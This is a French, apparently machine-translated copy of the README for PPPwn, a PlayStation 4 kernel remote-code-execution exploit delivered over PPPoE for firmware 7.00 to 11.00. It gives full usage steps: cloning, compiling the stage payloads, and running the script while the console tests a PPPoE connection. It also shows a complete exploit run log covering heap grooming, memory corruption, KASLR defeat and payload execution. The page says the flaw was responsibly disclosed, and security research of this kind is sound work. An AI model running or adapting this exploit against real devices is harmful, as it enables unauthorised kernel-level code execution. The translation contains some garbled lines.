Pppwn

TheOfficialFloW TheOfficialFloW
Dépôt créer le : 30/04/2024
Forks: 412 Watcher: 0 2912
Choisir une liste...
FR

PPPwn - PlayStation 4 PPPoE RCE

PPPwn est un exploit d'exécution de code distant du noyau pour PlayStation 4 jusqu'à FW 11.00. Il s'agit d'une preuve de principe pourCVE-2006-4304qui a été signalé de façon responsable à PlayStation.

Les versions prises en charge sont:

  • FW 7.00 / 7.01 / 7.02
  • FW 7.50 / 7.51 / 7.55
  • FW 8.00 / 8.01 / 8.03
  • FW 8,50 / 8,52
  • FW 9.00
  • FW 9.03 / 9.04
  • FW 9.50 / 9.51 / 9.60
  • FW 10,00 / 10,01
  • VOIR AUSSI:
  • FW 11 HEURES
  • plus peut être ajouté (les RP sont les bienvenus)

L'exploit n'est qu'impriméPPPwnedsur votre PS4 comme preuve de concept. Afin de lancer Mira ou des moteurs similaires, lestage2.binla charge utile doit être adaptée.

Exigences

  • Un ordinateur avec un port Ethernet
    • L'adaptateur USB fonctionne également
  • Câble Ethernet
  • Linux
    • Vous pouvez utiliser VirtualBox pour créer un VM Linux avecBridged Adaptercomme adaptateur réseau pour utiliser le port Ethernet dans la VM.
  • Python3 et gcc installés

Utilisation

Sur votre ordinateur, clonez le dépôt :

git clone --recursive https://github.com/TheOfficialFloW/PPPwn

Changez le répertoire pour le dépôt cloné :

cd PPPwn

Installez les exigences :

sudo pip install -r requirements.txt

Compiler les charges utiles:

make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100

Pour d'autres firmwares, p.ex. FW 9.00, passezFW=900.

NE PAS RUNIR l'exploit tout de suite (ne pas appuyer sur Entrée) mais préparer cette commande sur votre invite (voirifconfigpour l'interface correcte):

sudo python3 pppwn.py --interface=enp0s3 --fw=1100

Pour d'autres firmwares, p.ex. FW 9.00, passez--fw=900.

Sur votre PS4 :

  • Allez àSettingset puisNetwork

  • SélectionnerSet Up Internet connectionet choisirUse a LAN Cable

  • ChoisirCustomconfigurer et choisirPPPoEpourIP Address Settings

  • Saisissez n'importe quoi pourPPPoE User IDetPPPoE Password

  • ChoisirAutomaticpourDNS SettingsetMTU Settings

  • ChoisirDo Not UsepourProxy Server

  • Maintenant, appuyez simultanément sur le bouton 'X' de votre contrôleurTest Internet Connectionet 'Entrer' sur votre clavier (sur l'ordinateur vous avez votre script Python prêt à fonctionner).

TOUJOURS, attendez que la console affiche le message « Impossible de se connecter au réseau : (NW-31274-7) » avant d'essayer à nouveau cette injection PPPOE.

Si l'exploit échoue ou que la PS4 s'écrase, vous pouvez sauter la configuration d'Internet et simplement cliquer surTest Internet ConnectionTuez lepppwn.pyscript et l'exécuter à nouveau sur votre ordinateur, puis cliquez surTest Internet Connectionsur votre PS4 : toujours simultanément.

Si l'exploit fonctionne, vous devriez voir une sortie similaire à ci-dessous, et vous devriez voirCannot connect to network.suivie dePPPwnedimprimé sur votre PS4, ou l'inverse.

Exemple lancé

[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin

[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done

[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141

[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000

[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...

[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!

Notes pour Mac Apple Silicon Users (arm64 / aarch64)

Le code ne sera pas compilé sur Apple Silicon et nécessite une architecture AMD64. Il y a une solution de rechange en utilisant docker qui va construire les fichiers binaires requis. Cloner ce dépôt à votre système mac, puis à partir du dossier repo exécuté./build-macarm.sh. Cela va construire les binaires pour PS4 FW 1100 et placer les fichiers nécessaires dans les dossiers corrects. Pour construire les binaires pour une version différente, soit 900, exécutez la commande en tant que telle :./build-macarm.sh 900. Une fois construit, copiez cette structure de dossier dans la VM Linux et exécutez comme indiqué ci-dessus. Ceci a été testé en utilisant VMware Fusion 13.5.1, avec le VM Guest comme Ubuntu 24.04, et la machine hôte est MacOS 14.4.1

Contributeurs GitHub

TheOfficialFloW
TheOfficialFloW
33 contributions
iMrDJAi
iMrDJAi
8 contributions
EchoStretch
EchoStretch
4 contributions
laura240406
laura240406
2 contributions
W-i-n-7
W-i-n-7
2 contributions
adel-ailane
adel-ailane
1 contributions
Al-Azif
Al-Azif
1 contributions
maatthc
maatthc
1 contributions
danifunker
danifunker
1 contributions
eltociear
eltociear
1 contributions
PokersKun
PokersKun
1 contributions
kmeps4
kmeps4
1 contributions
rafaelflromao
rafaelflromao
1 contributions
rapha-s
rapha-s
1 contributions
ZooNooU
ZooNooU
1 contributions
se2crid
se2crid
1 contributions